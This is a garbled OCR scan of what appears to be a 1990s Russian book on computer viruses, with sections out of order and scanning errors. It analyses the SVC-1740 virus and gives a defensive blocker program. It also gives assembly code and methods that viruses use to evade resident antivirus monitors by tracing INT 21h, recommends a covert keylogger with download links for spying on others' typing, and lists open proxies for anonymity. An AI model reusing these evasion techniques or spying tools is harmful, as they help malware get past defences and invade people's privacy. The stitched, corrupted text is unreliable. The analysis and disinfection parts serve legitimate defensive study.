дизассемблирования нажатием клавиши "g". В зависимости от про-
изводительности компьютера, процесс дизассемблирования длится от
нескольких секунд до нескольких минут. Для грубой оценки размера
листинга можно принять, что один килобайт кода соответствует деся-
ти-пятнадцати килобайтам текста. 6740 байт зараженной приманки
дают 96Кбайт текста+файл test.sdf. Этот очень интересный файл хра-
нит в текстовом виде как опции, использованные при дизассемблиро-
вании, так и параметры полученного текста (размещение фрагментов
кода и данных, место расположения символических имен и прочее).
Если изменить эти параметры, переименовать файл в test.def и пере-
дать его Sourcer в командной строке в качестве параметра, то дизас-
семблер будет работать в соответствии с новыми инструкциями. Ана-
логичную операцию проделаем для файла testexe.
б*
4. Займемся анализом полученного листинга. Поверхностно изучая за-
раженные приманки, видим:
- файлы увеличили свою длину на 1740 байт;
- в их конце явно видны посторонние коды;
- изменилось время создания файлов, точнее, изменилось количе-
ство секунд - оно стало равным 60;
- в начале файла test.coM появилась команда jmp;
- в заголовке файла test.exe изменились значения полей ReloCS,
ExelP, ExeSP, ReloSS, PartPag и PageCnt.
Итак.
а) В начале вирусного кода содержится последовательность команд
вида:
call sub_1
sub_1: pop si
sub si,3
Подобная последовательность символов характерна для очень мно-
гих вирусов. Команда call помещает в стек смещение следующей за
ней команды. Это значение извлекается вирусом при помощи ко-
манды pop si (в то время как обычно это делается командой ret)
и помещается в регистр si. Скорректировав эту величину на длину
команды call (3 байта), вирус получает возможность корректного
обращения к ячейкам памяти относительно кодового сегмента:
mov cs:Data[si], xxxx.
Не случайно DrWeb всегда реагирует на подобные команды в на-
чале программ, выдавая предупреждающее сообщение. Впрочем,
это не является обязательным признаком присутствия вируса. На-
пример, устаревшая пристыковочная защита от несанкционирован-
ного копирования (НСК) "Nota" также пользуется этим приемом.
б) Важным элементом алгоритма вируса является определение на-
личия собственного резидента в ОЗУ. Вызывая прерывание DOS
с "секретной" функцией 83h, вирус ждет реакции системы. "Здо-
ровая" система не среагирует на провокацию, а "больная" поме-
стит в регистр dx число 1990h (год создания вируса?), чем и из-
вестит о наличии вируса в памяти. Вот соответствующий
фрагмент вирусного обработчика прерывания INT 21h:
cmp ah,83h
je loc_9
loc_9:
mov dx,1990h
iret
Наличие такой проверки использует антивирус-фаг во время детекти-
рования вирусного кода в оперативной памяти. Также антивирус-бло-
кировщик может имитировать присутствие вируса в памяти, предот-
вращая его внедрение в программное обеспечение компьютера.
в) В случае отсутствия вирусного обработчика INT 21h в памяти,
вирус пытается установить его и остаться в памяти резидентно.
Алгоритм резидентной записи кода вируса в память основан
на прямой модификации заголовка блока памяти (МСВ). Под-
робное описание этого алгоритма и методов борьбы с вирусами,
использующими подобный метод инсталляции, можно найти
в одном из номеров журнала "Монитор" за 1993 г.
г) Установив свою резидентную копию в ОЗУ (или обнаружив на-
личие такой копии), вирус передает управление оригинальной
программе. Изучение этого момента чрезвычайно важно для ана-
лиза. В процессе заражения (данный фрагмент из листинга уда-
лен) вирус считывает (в data_15) 24 байта начала программы
и анализирует первые два байта из них. В зависимости от содер-
жимого первого слова ("MZ" или нет), вирус выполняет зараже-
ние жертвы либо по СОМ-, либо по ЕХЕ-алгоритму, дописывая
фрагмент памяти со своим кодом к ее концу. Естественно, счи-
танные 24 байта также дописываются в файл-жертву. Поэтому
для определения способа передачи управления оригинальному
коду программы вполне достаточно повторно сравнить сохранен-
ный фрагмент начала с признаком "MZ":
cmp cs:data_15[si],5A4Dh
je lt_Was_EXE
В случае если программа была заражена по СОМ-алгоритму, вирус
просто извлекает первые 3 байта из ячейки памяти по адресу
data_15, копирует их в старое начало оригинального кода (по адре-
су cs:100h) и передает туда управление. Адресу data_15 соответ-
ствует 80-ый (если считать от конца) байт зараженной программы.
В случае если программа была заражена по ЕХЕ-алгоритму, вирус
вычисляет старую точку входа по сохраненным в data_20 и data_21
значениям полей ReloCS и ExelP, восстанавливает расположение
стека по сохраненным в data_18 и data_19 значениям полей ReloSS
и ExeSP и передает управление на ReloCS+ES+10h:ExeIP (ES -
сегмент PSP; ES+lOh - сегмент начала программы; ES+ReloCS+
10h - полный сегмент точки входа). Расположение этих адресов
в зараженном файле (от конца файла):
data_20 - 60
data_21 - 58
data_18 - 66
data_19 - 64
Еще могут пригодиться сохраненные значения полей PartPag
и PageCnt (от конца файла):
data_16+1 - 78
data_16+3 - 76
Для излечения зараженного файла достаточно восстановить изме-
ненные значения ячеек, адреса которых только что вычислили,
и отсечь 1740 вирусных байт от конца файла.
5. Еще несколько особенностей, с которыми иногда можно встретить-
ся при дизассемблировании кода вируса и изучении листинга. Код
вируса может быть зашифрован. В этом случае в начале вирусного
кода должен располагаться расшифровщик. Вообще говоря, рас-
шифровщиков может быть много, но первый всегда существует.
Если расшифровщик меняется от одного зараженного файла к дру-
гому, значит имеем дело с полиморфным вирусом. Вырожденный
случай - зашифровываются только сохраненные в теле вируса бай-
ты. Для СОМ-файла вполне достаточно пошагово пройти расшиф-
ровщик в отладчике, дождаться его завершения и сохранить на вин-
честер расшифрованный код вируса. Полученный файл можно
дизассемблировать. Для ЕХЕ-файла такое не подходит, так как в
памяти после загрузки отсутствует заголовок, и полученный файл
не может быть дизассемблирован именно как ЕХЕ. Вероятно, при-
дется писать специальную программу расшифровки на основе изу-
ченного по листингу алгоритма расшифровщика.
Расшифровщик может быть совмещен с алгоритмами, противодей-
ствующими трассировке кода вируса с использованием отладчиков.
Ознакомиться с ними можно в специальной литературе, посвящен-
ной борьбе с НСК. Авторы вирусов, как правило, редко изобретают
что-то новое и используют широко известные методы.
Классификация ЕХЕ-вирусов
ЕХЕ-вирусы условно можно разделить на группы, используя в качестве
признака для деления особенности алгоритма.
Клавиатурные шпионы
Клавиатурные шпионы - это программы, запоминающие, какие клави-
ши были нажаты в ваше отсутствие, то есть - что творилось на вашем
компьютере, пока вас не было в офисе. Для этого все, что набирается
на клавиатуре, заносится специальной программой в текстовый файл.
Так что набранный на компьютере в бизнес-центре или интернет-кафе
текст может без особых проблем стать достоянием владельца такого
компьютера. Технически эта операция выполняется классом программ,
называемых keyboard loggers. Они разработаны для разных операцион-
ных систем, могут автоматически загружаться при включении компью-
тера и маскируются под резидентные антивирусы или еще что-нибудь
полезное.
Самая лучшая из опробованных программ, Hook Dump 2.5
(http://www.geocities.com/SiliconValley/Vista/6001/hookdump.zip
или
http://www.halyava.ru/ilya/, для Win 3.1 и Win 95) может автомати-
чески загружаться при включении компьютера, при этом никак не
проявляя своего присутствия. Набранный на клавиатуре текст, назва-
ния программ, в которых набирался текст, и даже скрытый пароль в
Dial-Up Networking, который вообще не набирался - все записывает-
ся в файл, расположенный в любой директории и под любым именем.
Программа имеет много настроек, позволяющих определять нужную
конфигурацию.
Командой IRET
Вход:
AX=0302h
ВЫ - флаги:
бит 0 - сбросить контроллер прерывания и адресную линию А20
биты 1-7 - зарезервированы и должны быть равны нулю
СХ - количество слов, которые надо скопировать из стека защищенно-
го режима в стек реального
ES:(E)DI - селекторхмещение структуры вызова реального режима
(формат структуры вызова реального режима описан в функции ОЗООЬ)
Выход:
CF=0, если функция выполнена успешно
ES:(E)DI - селекторхмещение модифицированной структуры вызо-
ва реального режима
СЕ=1, если при выполнении функции возникли ошибки
Описание.
Данная функция вызывает процедуру реального режима, заканчиваю-
щуюся командой IRET.
Примечания.
Адрес процедуры должен быть указан в структуре вызова реального ре-
жима. Процедура должна завершать выполнение командой IRET. Если
поля SS и SP равны нулю, то стек выделяется DPMI. 32-битные про-
граммы должны использовать ES:EDI для адресации структуры.
Командой RET FAR
Вход:
AX=0301h
ВН - флаги:
бит 0 - сбросить контроллер прерывания и адресную линию А20
биты 1-7 - зарезервированы и должны быть равны нулю
СХ - количество слов, которые надо скопировать из стека защищенно-
го режима в стек реального
ES:(E)DI - селекторхмещение структуры вызова реального режима
(формат структуры вызова реального режима описан в функции ОЗООЬ)
Выход:
СЕ=0, если функция выполнена успешно
ES:(E)DI - селекторхмещение модифицированной структуры вызо-
ва реального режима
СЕ=1, если при выполнении функции возникли ошибки
Описание.
Данная функция вызывает процедуру реального режима, заканчиваю-
щуюся командой RET FAR.
Примечания.
Адрес процедуры должен быть указан в структуре вызова реального ре-
жима. Процедура должна завершать выполнение командой RET FAR.
Если поля SS и SP равны нулю, то стек выделяется DPMI. 32-битные
программы должны использовать ES:EDI для адресации структуры.
Конструирование неотслеживаемого обращения к DOS
Для чего нужно такое конструирование? Неужели антивирусные мони-
торы настолько бдительны, что пресекают любые попытки открыть для
модификации ЕХЕ- или СОМ-файл? Да, это действительно так. Авто-
ры антивирусных мониторов обладают достаточно эффективными сред-
ствами, чтобы предотвратить прямые обращения к DOS со стороны ви-
русов.
Обратимся к мнению Ю. Косивцова: "Для обнаружения действия нере-
зидентных вирусов необходимо контролировать вызов функций DOS
с номерами: 3Dh (открытие файла через описатель), OFh (открытие
файла через FCB и 5Dh) и подфункцию OOh (косвенный вызов DOS).
Если при открытии файла обнаружено, что расширение его СОМ, ЕХЕ
или SYS, то можно выдавать предупреждающее сообщение".
Список выглядит слишком коротким. Действительно, а что произойдет,
если сначала переименовать программный файл? И почему не учтена
функция 6Ch (расширенное открытие файла)? А что будет, если от-
крыть файл для чтения, а затем изменить режим доступа прямым обра-
щением к SFT?
Конечно же, авторы антивирусных мониторов не столь наивны. Просто
они никогда не раскрывают свои профессиональные секреты. Например,
авторы программы AVPTSR реально учли и использовали все эти мето-
дики и тонкости.
Итак, предположим, что гипотетический антивирусный супермонитор:
- отслеживает и блокирует попытки трассировки 21-го прерывания;
- для контроля "опасных" функций DOS встраивается в начало обра-
ботчика прерывания INT 21h;
- для предотвращения прямого обращения к DOS использует флаг,
сбрасываемый либо во вставленном фрагменте, либо в обработчике
прерывания 2Ah (более грамотный подход).
Эти действия монитора порождают соответствующие проблемы при
конструировании неотслеживаемого обращения к DOS.
Первая проблема достаточно просто решается с использованием "мето-
да предопределенных адресов".
Для решения второй проблемы стоит проанализировать возможное
расположение в обработчике DOS точки перехода на антивирусный
монитор. Очевидно, это может быть точка 0 либо точка 1.
В самом
худшем случае можно допустить, что врезка происходит непосред-
ственно после команды проверки на максимальное значение номера
функции. Далее обработчик DOS "растекается" на многочисленные
ручейки, поэтому отследить их все крайне затруднительно. По край-
ней мере, обработчики функций OFh, 3Dh и 5Fh попадают в разные
ручейки. Однако, при использовании ограниченного набора функций
они могут разместиться и в одном ручейке, что намного упростит ре-
шение данной задачи. Функции 3Ch-43h, отвечающие за создание, от-
крытие, закрытие, чтение, запись, атрибуты и перемещение, действи-
тельно располагаются в одном общем ручейке. Это позволяет
использовать адрес точки 2 для прямого обращения к DOS. Монито-
ры, скорее всего, не будут отслеживать эту точку.
Решение третьей проблемы также не вызовет особых затруднений.
Один из вариантов - замаскировать прерывания таймера и изменить
вектор 8-го прерывания перед прямым обращением к DOS. Вместо из-
менения вектора можно попробовать вставить инструкции IRET в нача-
ло текущего (антивирусного) обработчика. При использовании все того
же метода "предопределенных адресов" и, зная позицию инструкции
INT 2Ah в обработчике DOS, перед прямым обращением к DOS следу-
ет просто заменить этот вызов двумя командами NOP.
Листинг программы, блокирующей распространение вируса SVC-1740:
;; Резидентный блокировщик вируса SVC-1740
;; (с) К. Климентьев, Самара 1997
cseg segment
assume cs:cseg, ds:cseg, ss:cseg
org 100h
Переходим к инициализации программы
Start:
jmp Install
;0бработчик прерывания INT 21 h .
lnt21:
[Проверим номер функции, если 83h -
;то это запрос присутствия вируса
cmp ah, 83h
jnz Skip21
;0тветим, что вирус присутствует
mov dx, 1990h
;3апускаем оригинальный обработчик прерывания
Skip21:
db OEAh ;Код команды JMP
Ofs21 dw ?
Seg21 dw ?
Инициализируем программу
Install:
.Проверим, не инсталлирована ли уже эта программа. Если
инсталлирована, выведем сообщение об этом и выйдем из программы.
;Вторую копию программы инсталлировать не имеет смысла
mov ah,83h
int 21 h
cmp dx, 1990h
jz Already
.Считаем оригинальный вектор прерывания INT 21 h
mov ax,3521h
int 21h
mov Ofs21, bx
mov Seg21, es
.Установим наш вектор прерывания INT 21h
mov ax, 2521h
mov dx.offset lnt21
int 21h
[Выведем сообщение об успешной инсталляции программы в памяти
mov ah, 9
mov dx, offset OkMes
int 21h
.Выйдем из программы, оставив обработчик резидентным
mov dx, offset Install
int 27h
;Выведем сообщение о том, что вирус
;или наша программа уже в памяти
Already:
mov ah, 9
mov dx, offset BadMes
int 21 h
ret
.Сообщения программы
OkMes db "Yeah! STOPSVC installed now!",13,10
db "(c) KostyaSoft, Samara 1997$"
BadMes db 7, "Perhaps, virus is in memory already. Sorry $"
cseg ends
МАКРО-ВИРУСЫ
В этой главе рассказано
о макровирусах. Подробно опи-
сана процедура и методы за-
ражения файлов. Представлен
исходный текст макровируса
с подробными комментария-
ми. Приведены основные
сведения о языке VBA, его про-
цедурах, функциях, стандарт-
ных конструкциях.
Как известно, в последнее время большое распространение получили
макро-вирусы. По сведениям из различных источников, на эти вирусы
приходится от 70 до 80 процентов заражений. Изложенный ниже мате-
риал поможет разобраться в вирусах этого типа.
МАСКИРОВКА ВИРУСОВ
В этой главе рассказано, как
может быть спрятан вирус.
Описаны методы конструи-
рования прямого обращения
к DOS для "обмана" резиден-
тных антивирусных монито-
ров. Рассмотрены вирусы,
заражающие Flash BIOS. Пред-
ставлены исходные тексты
программ с подробными ком-
ментариями.
Метод предопределенньш адресов
Переходим к методу определения оригинального адреса точки входа
в DOS, основанному на том, что эти адреса для разных версий и конфи-
гураций DOS имеют в общем случае различные значения, но число
их ограничено. А это значит, что их можно просто-напросто выбирать
из таблицы (причем не очень большой). Прием не новый, но незаслу-
женно забытый.
Имея программу, основанную на одном из ранее описанных способов
определения реального адреса обработчика DOS, загрузочные дискеты
с разными версиями DOS и немного терпения, можно получить при-
мерно вот такую информацию.
Оригинальный обработчик DOS версии 3.30 всегда имеет вид:
.Точка О
2Е CS:
891ЕВ800 MOV [ООВ8],ВХ
2Е CS:
8С06ВАОО MOV [OOBA],ES
СВ RETF
.Точка 1
2Е CS:
3A26FFOD СМР AH,[ODFF]
77DC JA 1443
80FC51 СМР АН,51
74А1 JZ 140D
80FC64 СМР АН,64
74ВА JZ 143A
;Точка 2
Оригинальные обработчики DOS версий 5.0-7.0 очень похожи.
В общем случае они состоят из следующих фрагментов:
Фрагмент 1 (если он присутствует) всегда располагается в нижних ад-
ресах памяти. Большинство алгоритмов трассировки заканчивают рабо-
ту, достигнув этой точки. Для DOS версий 5.0-6.22 этот фрагмент при-
сутствует, если в CONFIG.SYS есть строка DOS=HIGH (вне
зависимости от того, осуществляется ли запуск поддерживающего эту
опцию драйвера HIMEM.SYS). Если драйвера нет, то JMP FAR просто
указывает на фрагмент 2, размещающийся в нижних областях памяти.
Если строки DOS=HIGH нет, то фрагмент 1 вырожден (состоит из од-
ной команды внутрисегментного перехода), и обработчик состоит
из фрагмента 2.
;Точка О
90 МОР
90 NOP
E8CCOO CALL CheckA20
2E CS:
FF2E6A10J MP FAR NEXTDOS
Фрагмент 2 может располагаться как в верхних, так и в нижних адре-
сах памяти.
;Точка 1
NEXTDOS:
FA CLI
80FC6C СМР АН.6С
77D2 JA 40DO
80FC50 СМР АН.50
748Е JZ 40A9
;Точка 2
Для DOS 7.0 структура обработчика, в общем, такая же. Исключение -
фрагмент 1 присутствует всегда, вне зависимости от содержимого фай-
ла CONFIG.SYS. Теперь приведем конкретные значения адресов, полу-
ченные для разных случаев:
Метод трассировки
Чаще всего используется метод трассировки при помощи отладочного
прерывания INT 1. Суть метода заключается в том, что вирус трассиру-
ет прерывание INT 21h (включает флаг трассировки, при этом после
каждой команды происходит прерывание INT 1) и проверяет значение
сегмента, в котором идет обработка прерывания. Если значение сегмен-
та меньше ОЗООЬ, то это обработчик DOS. Например, так поступал мно-
го лет назад вирус Yankee 2C (М2С, Музыкальный). Вот листинг соот-
ветствующего фрагмента с комментариями:
;Берем из таблицы векторов прерываний текущий адрес INT 01 h
mov ax,3501 h
int 21h
mov si.bx ;смещение сохраняем в регистре SI
mov di.es ;сегмент сохраняем в регистре DI
Останавливаем свой обработчик INT 01h
mov ax,2501h
mov dx,offset lnt01
int 21h
;Формируем в стеке адрес выхода из трассировки так, чтобы по IRET
;из INT 21h попасть на метку Next - помещаем в стек
.последовательно флаги, сегмент и смещение метки Next
pushf
push cs
mov ax,offset Next
push ax
;Начинаем трассировку INT 21 h. Для этого нужно подготовить стек
;следующим образом: поместить в него флаги с включенным флагом
;трассировки, а также сегмент и смещение текущего обработчика
;INT 21 h. Затем можно выполнить команду IRET - программа запустит
.текущий обработчик и считает из стека флаги (флаг трассировки
;во флаговом регистре включится, начнется трассировка. После
.каждой команды процессора будет запускаться INT 01 h).
;Помещаем в стек флаги, включаем в них бит, соответствующий
;флагу трассировки TF. Для того, чтобы включить флаг
.трассировки TF, после сохранения флагов в стеке считаем их
;в регистр АХ, в нем включим соответствующий бит, а затем
.сохраним регистр АХ в стеке
pushf
pop ax
or ax,0100h
push ax
;Считаем из таблицы векторов прерываний текущий адрес INT 21 h
mov ax,3521 h
int 21 h
[Сохраним в стеке сегмент, а затем и смещение текущего обработчика
push es
push bx
[Установим в регистре АН номер какой-либо безобидной функции
;(чтобы определение адреса обработчика DOS
;не сопровождалось разрушениями)
mov ah.OBh
.Запускаем трассировку
cli
iret
[Обработчик INT 01 h
lnt01:
;При вызове обработчика в стеке находятся: значение регистра IP,
;значение регистра CS, флаги перед прерыванием.
[Адресуемся к стеку с помощью регистра ВР,
[Предварительно сохранив текущее значение ВР
push bp
mov bp.sp
;Теперь в стеке находятся:
;SS:[BP] - ВР
;SS:[BP+2] - IP
;SS:[BP+4] - CS
;SS:[BP+6] - флаги
; Проверяем флаг продолжения
cmp byte ptr cs:ContinueFlag,1
;Если флаг продолжения выключен, то выходим из трассировки
jne TraceOff
[Проверяем текущий адрес. Если сегмент меньше 300h,
обработчик DOS достигнут, иначе - продолжаем трассировку
;и выходим из обработчика
cmp word ptr [bp+4],300h
jnc ExitFromInt
[Достигнут DOS - берем из стека адрес обработчика и сохраняем его
push bx
mov bx,[bp+2]
mov word ptr cs:021,bx
mov bx,[bp+4]
mov word ptr cs:S21,bx
pop bx
.Заканчиваем обработку прерывания и дальнейшую трассировку
TraceOff:
[Устанавливаем в ноль бит, соответствующий TF,
;в копии регистра флагов в стеке
and word ptr [bp+6],OFEFFh
[Устанавливаем в ноль флаг продолжения
mov byte ptr cs:ContinueFlag,0
ExitFromInt:
pop bp
.Выходим из обработчика
i ret
[Восстановление после трассировки
Next:
[Сбрасываем флаг продолжения
mov byte ptr ds:ContinueFlag,0
[Восстанавливаем прежнее значение вектора прерывания INT 01 h
mov ax,2501 h
mov dx.si
mov ds.di
int 21 h
В настоящее время этот алгоритм можно считать несколько устарев-
шим. Дело в том, что современные версии DOS могут размещать свой
обработчик в областях верхней памяти. Поэтому условие окончания
трассировки должно выглядеть, например, так:
cmp word ptr [bp+4],300h
jb loc_65
cmp word ptr [bp+4],OFOOOh
ja loc_65
В качестве альтернативного варианта можно использовать такой прием.
Сначала определяется исходный сегмент DOS при помощи недокумен-
тированной функции 52h прерывания INT 21h (возвращает адрес век-
торной таблицы связи DOS):
mov ah, 52h
int 21h
mov SegDOS, es
Тогда условие завершения трассировки можно оформить следующим
образом:
push ax
mov ax, cs: SegDOS
cmp word ptr [bp+6], ax
pop ax
jz DOSIsGot
Разумеется, разные приемы могут дать разные результаты. Причем все
результаты можно считать в той или иной мере корректными. Дело
в том, что современные версии DOS, даже будучи загруженными в верх-
нюю память, всегда имеют точку входа в нижней памяти вида:
пор
пор
[Проверка состояния адресной линии А20
call Check_A20
[Переход в верхнюю память
jmp cs: dword ptr HI_DOS
С точки зрения обхода резидентных мониторов "правильным" следует
признать адрес в обработчике DOS, имеющий максимальное значение.
Мы еще вернемся к вопросу о нахождении "правильного" адреса далее.
Авторы антивирусных мониторов знают о подобном приеме поиска ори-
гинального адреса DOS. Достаточно легко испортит трассировку, на-
пример, вот такой вот фрагмент, встроенный в цепочку обработчиков:
.Вызываем обработчик прерывания INT 60h (до этого момента
[Прерывание INT 60h должно быть перехвачено)
int 60h
;Сюда нужно вернуться из прерывания
пор
[Сюда реально вернемся, и флаг трассировки будет сброшен,
;то есть трассировка будет прекращена
пор
[Обработчик прерывания. При вызове прерывания флаг трассировки
.сбрасывается - при входе в обработчик трассировка будет выключена
lnt60:
[Разрешение прерываний, так как при выходе из обработчика не
[будет восстанавливаться оригинальное значение регистра флагов
sti
[Увеличиваем на единицу адрес возврата в стеке
push bp
mov bp, sp
add [bp+2],1
pop bp
[Выходим из прерывания, но не командой IRET, а командой RETF 2,
.чтобы не восстанавливать флаги (и, как следствие,
.флаг трассировки TF)
retf 2
Кроме того, факт трассировки можно достаточно просто обнаружить,
применив хорошо известный разработчикам защит от несанкционирован-
ного копирования прием аппаратного конвейера, который использует
процессор для ускорения работы. При выполнении очередной команды
процессор считывает код следующей. Когда придет время выполнения
следующей команды, она будет уже считана из памяти, и не нужно бу-
дет тратить время на ее чтение. Прием заключается в модификации ко-
манд, которые уже оказались в конвейере: если трассировка не ведется,
то код команд модифицируется только в памяти, а выполняется та про-
грамма, которая находится в конвейере. Если трассировка ведется, то
конвейер сбрасывается перед каждой командой трассируемой програм-
мы (конвейер сбрасывают такие команды, как JMP, CALL, RET) и вы-
полняется модифицированный код.
Кодифицируем следующую команду. Команда JMP (безусловный
; переход) заменяется на две команды NOP (нет операции)
mov Metka, 9090h
Переходим, если выполняется немодифицированный код (в случае,
;когда трассировка не ведется), и проходим дальше, если выполняется
кодифицированный код (в случае трассировки)
Metka: jmp NoTrace
Trace:
;Сюда попадем при выявленном факте трассировки
NoTrace:
Трассировка не ведется - нормальное выполнение программы
Наконец, последний гвоздь в гроб идеи использования трассировки за-
бит: "Выставленный флаг трассировки можно выявить косвенно, замас-
кировав аппаратные прерывания, поместив в [SP-1] контрольное значе-
ние и дав инструкцию STI. Тогда по изменению слова в стеке можно
судить, было трассировочное прерывание или нет".
Выявив факт трассировки прерывания DOS, мониторы начинают выда-
вать об этом соответствующие сообщения, поэтому даже не самый
опытный пользователь догадается, что кто-то (например, вирус) пытает-
ся попасть в систему.
МЕТОДЫ БОРЬБЫ С ВИРУСАМИ
В этой главе описаны наибо-
лее эффективные методы
борьбы с вирусами, защиты
от проникновения и лечения.
Приведены алгоритмы необ-
ходимых действий при подо-
зрении на наличие вируса
в компьютере. Описаны меры
по предотвращению "эпиде-
мии" путем создания про-
граммы-блокировщика.
Рассмотрен пример создания
программы-антивируса.
Представлены исходные тек-
сты программ с подробными
комментариями.
В предыдущих главах состоялось знакомство с компьютерными вируса-
ми, поражающими Flash BIOS, документы текстового процессора
Microsoft Word 6.0 for Windows, файлы разных операционных систем
и прочие. Пришло время рассмотреть различные способы борьбы с ними.
Итак, что же такое антивирус? Сразу же развеем одну часто возникаю-
щую иллюзию. Почему-то многие считают, что антивирус может обнару-
жить любой вирус, то есть, запустив антивирусную программу или мони-
тор, можно быть абсолютно уверенным в их надежности. Такая точка
зрения не совсем верна. Дело в том, что антивирус - это тоже програм-
ма, конечно, написанная профессионалом. Но эти программы способны
распознавать и уничтожать только известные вирусы. То есть антивирус
против конкретного вируса может быть написан только в том случае, ког-
да у программиста есть в наличии хотя бы один экземпляр этого вируса.
Вот и идет эта бесконечная война между авторами вирусов и антивиру-
сов, правда, первых в нашей стране почему-то всегда больше, чем вторых.
Но и у создателей антивирусов есть преимущество! Дело в том, что су-
ществует большое количество вирусов, алгоритм которых практически
скопирован с алгоритма других вирусов. Как правило, такие вариации
создают непрофессиональные программисты, которые по каким-то причи-
нам решили написать вирус. Для борьбы с такими "копиями" придума-
но новое оружие - эвристические анализаторы. С их помощью антивирус
способен находить подобные аналоги известных вирусов, сообщая
пользователю, что у него, похоже, завелся вирус. Естественно, надежность
эвристического анализатора не 100%, но все же его коэффициент полез-
ного действия больше 0,5. Таким образом, в этой информационной вой-
не, как, впрочем, и в любой другой, остаются сильнейшие. Вирусы, кото-
рые не распознаются антивирусными детекторами, способны написать
только наиболее опытные и квалифицированные программисты.
Таким образом, на 100% защититься от вирусов практически невозмож-
но (подразумевается, что пользователь меняется дискетами с друзьями
и играет в игры, а также получает информацию из других источников,
например из сетей). Если же не вносить информацию в компьютер из-
вне, заразиться вирусом невозможно - сам он не родится.
Итак, что же можно посоветовать, чтобы сталкиваться с вирусами как
можно меньше или, по крайней мере, только сталкиваться, не допуская
их на жесткий диск своего винчестера. В первую очередь - самые эле-
ментарные правила "компьютерной гигиены": проверка дискет на нали-
чие вируса самыми надежными антивирусными программами, такими,
например, как AVP или DrWeb. Очень хорошо, если на жестком диске
установлен ревизор Adinf. Многие пользователи добавляют строку за-
пуска ревизоров, антивирусов, антивирусных мониторов в конфигура-
ционный файл AUTOEXEC.BAT - тоже весьма действенно.
Есть определенные способы борьбы и с загрузочными вирусами.
В установках (SETUP) компьютера предусмотрена защита от записи
в MBR. Когда запись начинается, BIOS сразу же ее останавливает
и запрашивает подтверждение на разрешение записи. Естественно,
следует запретить запись, а затем загрузится со своей, заранее подго-
товленной, системной дискеты. У большинства компьютерных пользо-
вателей такой дискеты нет - а надо бы завести. И это еще не все.
Вирусы постоянно совершенствуются, и все их многообразие охватить,
конечно, невозможно. Поэтому надо быть готовым, что рано или по-
здно вирус все-таки попадет на жесткий диск, и встретить его нужно
во всеоружии.
На FTP-сервер под чужим IP-адресом
Путешествуя по Интернет, пользователи часто не задумываются о том,
что оставляют следы своих посещений каждый раз, когда заходят на
какой-либо FTP-сайт. Стандартные log-файлы позволяют любопытным
владельцам сайтов узнать многое, и, прежде всего, IP-адрес, что равно-
значно, например, тому, что определен номер телефона. Существует не-
сколько способов защитить privacy от подобных посягательств.
Анонимно путешествовать по сети можно с помощью proxy-сервера.
Proxy сервер работает, по сути, как Анонимайзер, то есть документ
с сайта "забирает" он, а не компьютер пользователя. Большинство proxy
серверов ограничивают доступ на основании IP-адреса, с которого при-
ходит обращение. Иными словами, если провайдером пользователя яв-
ляется Demos, то proxy сервер Glasnet его к себе попросту не пустит.
Но, к счастью, в сети всегда можно найти "добрый" proxy, владельцы
которого либо открыто заявляют о его доступности для всех желающих,
либо, по той или иной причине, не ограничивают доступ только своим
доменом, о чем широкой публике не известно, например:
svc.logan.k12.ut.us: 8001
proxyl.emirates.net.ae: 8080
proxy.sysnet.it: 8080
www.archmate.com.tw: 3128
www-proxy.global-one.ru: 3333
sunsite.cs.msu.su: 3128
www.anonymizer.com: 8080
squid.nianr.net: 3128
Для настройки FTP-клиентов proxy-сервер надо установить в passive
режим. Проделав эту нехитрую операцию, можно путешествовать по
сети, как болгарский или американский пользователь, но... тут есть один
очень важный момент. Далеко не все proxy серверы являются полнос-
тью анонимными. Некоторые из них позволяют администратору сайта,
который пользователь посещаете с использованием proxy, при желании
определить IP-адрес, с которого происходит обращение к proxy, то есть
реальный IP-адрес пользователя. Поэтому выбранный proxy-сервер
нужно проверить на предмет его полной или неполной анонимности.
Сделать это можно на сервере http://www.tamos.com/bin/proxy.cgi
Если в ответ получено сообщение "Proxy server is detected!", выбран-
ный proxy имеет "дыру", будет предоставлена информация о реальном
IP-адресе пользователя, как, впрочем, и об IP-адресе proxy сервера,
с которого пришел запрос. Если же сообщение гласит "Proxy server is
not detected" - все в порядке, анонимность обеспечена. Рекомендуется
периодически (не реже, чем раз в месяц) проверять proxy, с которыми
ведется работа, на предмет анонимности. В заключение еще несколько
соображений касательно использования proxy серверов. Работа через
далеко расположенный proxy снижает .скорость передачи данных и уве-
личивает время ожидания. Кроме того, если все читатели будут исполь-
зовать приведенные выше адреса proxy, то очень скоро удовольствие
кончится, и доступ к ним будет закрыт (если уже не закрыт). Найти
подходящий proxy несложно, например, приведенные адреса найдены
всего за пять минут. В поисковой машине (например Alta Vista) указы-
ваются ключевые слова, что-нибудь вроде proxy+server+coniiguration+
Netscape. В результате появится список страниц, где провайдеры расска-
зывают своим пользователям, как настроить браузеры для работы с их
proxy. Если пробовать все подряд, на пятый или седьмой раз удача
улыбнется, и proxy-сервер согласится работать.